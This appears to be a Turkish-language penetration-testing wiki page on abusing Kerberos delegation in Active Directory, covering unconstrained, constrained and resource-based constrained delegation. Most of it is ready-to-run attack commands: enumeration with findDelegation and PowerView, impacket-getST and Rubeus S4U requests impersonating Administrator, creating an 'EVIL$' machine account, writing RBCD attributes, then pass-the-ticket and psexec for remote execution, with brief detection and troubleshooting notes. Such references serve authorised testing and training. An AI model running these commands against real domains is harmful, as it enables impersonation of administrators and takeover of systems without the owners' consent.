Skip to content

Kerberos Delegation Abuse

phase: privilege escalation impact: yüksek

phase: privilege escalation impact: yüksek

Kerberos delegation, bir servisin kullanıcı adına başka bir servise kimlik doğrulamasına izin verir. Yanlış yapılandırıldığında, saldırgan bunu ayrıcalıklı kullanıcıları taklit etmek için kötüye kullanabilir. Bu sayfa üç modeli özetler; derin dalışlar ayrı sayfalarda.

TürÖznitelik / bayrakAyrı sayfa
UnconstrainedTRUSTED_FOR_DELEGATIONUnconstrained
Constrained (KCD)msDS-AllowedToDelegateTobu sayfa
RBCDmsDS-AllowedToActOnBehalfOfOtherIdentityRBCD

Constrained Del · getST

embedded tool
Generated command
impacket-getST -spn cifs/fileserver.domain.local -impersonate Administrator domain.local/svc_web:Pass123
Terminal window
impacket-findDelegation domain.local/user:'Pass123' -dc-ip 10.10.10.5
Terminal window
nxc ldap DC -u user -p 'Pass' --trusted-for-delegation
Terminal window
Get-DomainComputer -Unconstrained
Terminal window
Get-DomainUser -TrustedToAuth
Terminal window
Get-DomainComputer -TrustedToAuth
Terminal window
Get-DomainObject -LDAPFilter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)'

BloodHound kenarları: AllowedToDelegate, AllowedToAct, AddAllowedToAct, unconstrained property.

Delegation için işaretli host, kendisine bağlanan kullanıcıların TGT’lerini belleğinde saklar. Host’ta admin isen + coercion ile DC$ / DA çekersen TGT yakalanır → DCSync.

Detay: Unconstrained Delegation.

Hesabın msDS-AllowedToDelegateTo alanı belirli SPN’lere ayarlıysa, hesap S4U2Self + S4U2Proxy ile o servislere herhangi bir kullanıcıyı (protocol transition / TRUSTED_TO_AUTH_FOR_DELEGATION açıksa) taklit ederek bilet alabilir.

TRUSTED_TO_AUTH_FOR_DELEGATION (0x1000000) → "Use any authentication protocol"
→ S4U2Self ile kendine TGS, sonra S4U2Proxy ile hedef SPN
  1. Hesabı ve SPN listesini doğrula ( findDelegation çıktısı).

  2. Servis hesabı hash/parolasını ele geçir — Kerberoast, LSASS, GPP…

  3. S4U ile bilet al :

    Terminal window
    impacket-getST -spn cifs/server01.domain.local \
    -impersonate Administrator \
    domain.local/svc_web:'Pass123' -dc-ip 10.10.10.5
    Terminal window
    impacket-getST -spn cifs/server01.domain.local -impersonate Administrator \
    -hashes :NTHASH domain.local/svc_web -dc-ip 10.10.10.5
    Terminal window
    impacket-getST -spn cifs/server01.domain.local -impersonate Administrator \
    -altservice http domain.local/svc_web:'Pass' -dc-ip 10.10.10.5
    Terminal window
    Rubeus.exe s4u /user:svc_web /rc4:NTHASH \
    /impersonateuser:Administrator \
    /msdsspn:cifs/server01.domain.local /ptt
  4. Kullan :

    Terminal window
    export KRB5CCNAME=Administrator.ccache
    Terminal window
    impacket-psexec -k -no-pass domain.local/Administrator@server01.domain.local

3) Resource-Based Constrained Delegation (RBCD)

Section titled “3) Resource-Based Constrained Delegation (RBCD)”

Hedef bilgisayar nesnesinin msDS-AllowedToActOnBehalfOfOtherIdentity alanını yazma yetkin varsa, kontrol ettiğin hesabı oraya ekleyip S4U ile impersonation yaparsın. MachineAccountQuota ile yeni EVIL$ yaratmak klasik yoldur.

Detay ve komutlar: RBCD.

Terminal window
impacket-addcomputer domain.local/user:'Pass' -computer-name 'EVIL$' \
-computer-pass 'Evil123!' -dc-ip 10.10.10.5
Terminal window
impacket-rbcd domain.local/user:'Pass' -delegate-from 'EVIL$' \
-delegate-to 'TARGET$' -action write -dc-ip 10.10.10.5
Terminal window
impacket-getST -spn cifs/target.domain.local -impersonate Administrator \
'domain.local/EVIL$:Evil123!' -dc-ip 10.10.10.5
S4U2Self: svc → "Administrator olarak bana TGS ver" (kendi SPN'ine)
S4U2Proxy: svc → o TGS'i kanıt göstererek hedef SPN için TGS iste
Sonuç: cifs/target için Administrator TGS → PtT
  • getST -impersonate Administrator Event 4769 (S4U) üretir.
  • Constrained delegation abuse için servis hesabı credential şart — Kerberoast önce.
  • RBCD yazma LDAP modify — ACL change log; iş bitince attribute’u temizle (angajman kuralı).
  • altservice ile SPN değiştirme (CIFS→HOST) bazı ortamlarda ek erişim açar.
  • Impersonate edilen kullanıcı Protected Users / “Account is sensitive and cannot be delegated” → S4U fail.
  • Yanlış SPN ( CIFS vs gerçek msDS-AllowedToDelegateTo değeri).
  • RBCD’de SPN’siz hesap — machine account kullan.
  • Unconstrained sanıp constrained host’ta TGT aramak.

Unconstrained Delegation · RBCD · Pass-the-Ticket · Kerberoasting